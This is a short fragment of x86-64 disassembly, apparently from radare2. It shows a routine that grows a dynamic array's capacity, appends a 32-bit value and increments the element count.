mov eax, r8d
cdq
sub eax, edx
sar eax, 1
add eax, r8d
jmp 0x140014664
mov eax, 8
cmp eax, ecx
cmovg ecx, eax
mov edx, ecx
mov rcx, rbx
call fcn.140029e80
mov edx, dword [rbx]
mov r9, qword [rbx + 8]
mov rsi, qword [rsp + 0x40]
movsxd rax, edx
mov dword [r9 + rax*4], edi
inc dword [rbx]
mov rbx, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret